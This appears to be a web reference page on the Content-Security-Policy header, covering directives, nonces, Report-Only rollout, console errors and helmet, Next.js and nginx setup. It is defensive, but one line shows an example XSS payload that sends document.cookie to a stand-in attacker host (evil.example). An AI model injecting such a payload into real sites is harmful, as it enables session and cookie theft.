How HTTP Works

Response header

< Content-Security-Policy: default-src 'self'; script-src 'self'

Content-Security-Policy Header: Directives, Nonces and Console Errors

Content-Security-Policy (CSP) limits what a page may load or run. Directives, nonces, strict-dynamic, Report-Only rollout, console errors, helmet and Next.js.

Reviewed 5 min readadvanced5 sourcesTry itMarkdown
Direction
Response
Category
Security
Spec
W3C CSP Level 3
On this page

TL;DR: Content-Security-Policy tells the browser which sources may supply scripts, styles, frames and connections, so injected code is blocked. Start with Content-Security-Policy-Report-Only, use nonces plus strict-dynamic instead of unsafe-inline, and add object-src 'none'; base-uri 'none'; frame-ancestors 'self'.

What it blocks

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

An attacker who injects <script>fetch('https://evil.example/?c='+document.cookie)</script> through an XSS bug is stopped. In the console:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.

Other messages you will meet:

Refused to load the script 'https://cdn.example.net/lib.js' because it violates the following Content Security Policy directive: "script-src 'self'".
Refused to connect to 'https://api.example.com/data' because it violates the document's Content Security Policy.
Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
Refused to frame 'https://other.example/' because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self'".
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive

Firefox words it differently and the text varies by version, for example Content-Security-Policy: The page's settings blocked the loading of a resource at inline ("script-src").

Core directives

DirectiveControls
default-srcFallback for fetch directives not listed
script-srcJavaScript, including inline and eval
style-srcCSS, including inline styles
img-src, font-src, media-srcImages, fonts, audio/video
connect-srcfetch, XHR, WebSocket, EventSource, beacons. Blocks API calls
frame-src / child-srcWhat this page may embed
frame-ancestorsWho may embed this page (replaces X-Frame-Options)
form-actionWhere forms may submit
base-uriAllowed <base href>; set 'none' or 'self'
object-srcPlugins; set 'none'
upgrade-insecure-requestsRewrites http:// subresources to https://
report-to / report-uriWhere violations go

frame-ancestors, report-uri, report-to and sandbox do not fall back to default-src. prefetch-src and navigate-to were dropped from the standard or never shipped; do not rely on them.

Source values: 'self', 'none', https:, https://cdn.example.com, https://*.example.com, 'nonce-<value>', 'sha256-<base64>', 'strict-dynamic', 'unsafe-inline', 'unsafe-eval', 'wasm-unsafe-eval', 'report-sample'. Keywords must be quoted.

Strict CSP with nonces

The recommended modern policy needs no host list:

Content-Security-Policy: script-src 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'
<script nonce="rAnd0m123" src="/app.js"></script>

The nonce must be unguessable (at least 128 bits of randomness) and new on every response. A static nonce, or caching a page with a baked-in nonce, defeats it. With strict-dynamic, scripts loaded by trusted scripts also run, and 'self' and host entries are ignored by modern browsers (keep https: and 'unsafe-inline' as fallbacks for very old ones; they are ignored when a nonce is present).

Express with helmet and a per-request nonce:

const crypto = require('crypto')
const helmet = require('helmet')

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64')
  next()
})

app.use(
  helmet.contentSecurityPolicy({
    useDefaults: true,
    directives: {
      'script-src': ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`, "'strict-dynamic'"],
      'object-src': ["'none'"],
      'base-uri': ["'none'"],
      'frame-ancestors': ["'self'"]
    }
  })
)

Next.js (App Router) generates the nonce in its request proxy (called middleware before Next.js 16) and reads it from the x-nonce request header; pages must be dynamically rendered for nonces to apply. Condensed from the official guide:

// proxy.ts (middleware.ts with `export function middleware` before Next.js 16)
import { NextRequest, NextResponse } from 'next/server'

export function proxy(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
  const csp = `default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'`
  const headers = new Headers(request.headers)
  headers.set('x-nonce', nonce)
  headers.set('Content-Security-Policy', csp)
  const response = NextResponse.next({ request: { headers } })
  response.headers.set('Content-Security-Policy', csp)
  return response
}

In development, React needs 'unsafe-eval' for debugging; add it only when NODE_ENV === 'development'.

nginx (static policy, no inline scripts):

add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'self'" always;

Static HTML behind nginx cannot use nonces; use 'sha256-...' hashes of inline scripts instead. The browser prints the needed hash in the violation message.

Report-Only rollout

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"

Violations are logged and sent but nothing is blocked. For cross-browser coverage send both, since Firefox and Safari use the older mechanism:

Content-Security-Policy: ...; report-uri /csp-report; report-to csp-endpoint

Report-Only supports every directive except sandbox, which it ignores. A <meta> tag cannot deliver report-uri, frame-ancestors or sandbox, and cannot be Report-Only at all.

Receiver:

app.post(
  '/csp-report',
  express.json({ type: ['application/csp-report', 'application/reports+json', 'application/json'] }),
  (req, res) => {
    console.warn('CSP violation', JSON.stringify(req.body))
    res.sendStatus(204)
  }
)

Expect noise from browser extensions injecting scripts; filter on blocked-uri values like chrome-extension:// and moz-extension://.

Debug

curl -sI https://example.com | grep -i '^content-security-policy'
  • Several Content-Security-Policy headers (or a header plus a meta tag) combine, and each must allow a resource, so a second, stricter policy from a CDN or framework silently breaks things. Find the source with curl -sI against origin and edge separately.
  • The Network panel’s “Issues” tab and the Security panel list the blocked directive.
  • Inline event handlers such as onclick="..." are blocked without 'unsafe-inline' or 'unsafe-hashes'; use addEventListener.
  • Google Tag Manager, Stripe and analytics scripts add their own hosts to script-src, connect-src and frame-src; take the lists from their docs.
  • Evaluate your policy with Google’s CSP Evaluator.

Pitfalls

  • unsafe-inline in script-src without a nonce makes the policy mostly decorative against XSS.
  • Allowlisting a JSONP-capable or user-content host (https://*.googleapis.com, https://cdn.jsdelivr.net) allows script gadgets; nonces avoid this.
  • default-src 'self' alone does not stop form posts to other sites or framing of your page; add form-action and frame-ancestors.
  • Policies are per document. Workers and iframes follow their own response headers, except that blob:/data: workers inherit.

Frequently asked questions

What is Content-Security-Policy?

CSP is a response header with which a page declares where scripts, styles, images, frames and connections may come from. The browser blocks everything else, so an injected script from an XSS flaw is refused even though the markup reached the page.

How do I fix "Refused to execute inline script because it violates the following Content Security Policy directive"?

Either move the script to an external file allowed by script-src, add a per-response nonce to both the header and the script tag, or add the hash of that exact inline script. Avoid adding unsafe-inline: it disables the protection CSP gives against XSS, and is ignored in script-src when a nonce or hash is present.

How do I roll out CSP without breaking my site?

Deploy Content-Security-Policy-Report-Only with the policy you want, collect violation reports for a week or two, fix legitimate sources, then switch the same policy to Content-Security-Policy. You can run both at once to tighten an existing policy.

What do nonces and strict-dynamic do?

A nonce is a random value generated per response; only scripts carrying the matching nonce attribute run. strict-dynamic additionally trusts scripts those scripts load, and makes browsers ignore host allowlists, which keeps the policy short and avoids brittle CDN lists.

Should I use report-uri or report-to?

report-uri is deprecated but still the one that works in Firefox and Safari. Chromium supports report-to together with the Reporting-Endpoints header. Sending both is the practical choice: browsers that understand report-to ignore report-uri.

Does CSP replace X-Frame-Options?

For framing, yes. frame-ancestors controls who may embed your page and takes precedence over X-Frame-Options in browsers that support it. Keep X-Frame-Options only for very old clients. frame-ancestors is not supported in a meta tag.

Sources

  1. MDN Web Docs: Content-Security-Policydeveloper.mozilla.org
  2. W3C Content Security Policy Level 3w3.org
  3. web.dev: Strict CSPweb.dev
  4. Next.js: Content Security Policy guidenextjs.org
  5. Helmet: contentSecurityPolicyhelmetjs.github.io

Keep going

Browse /search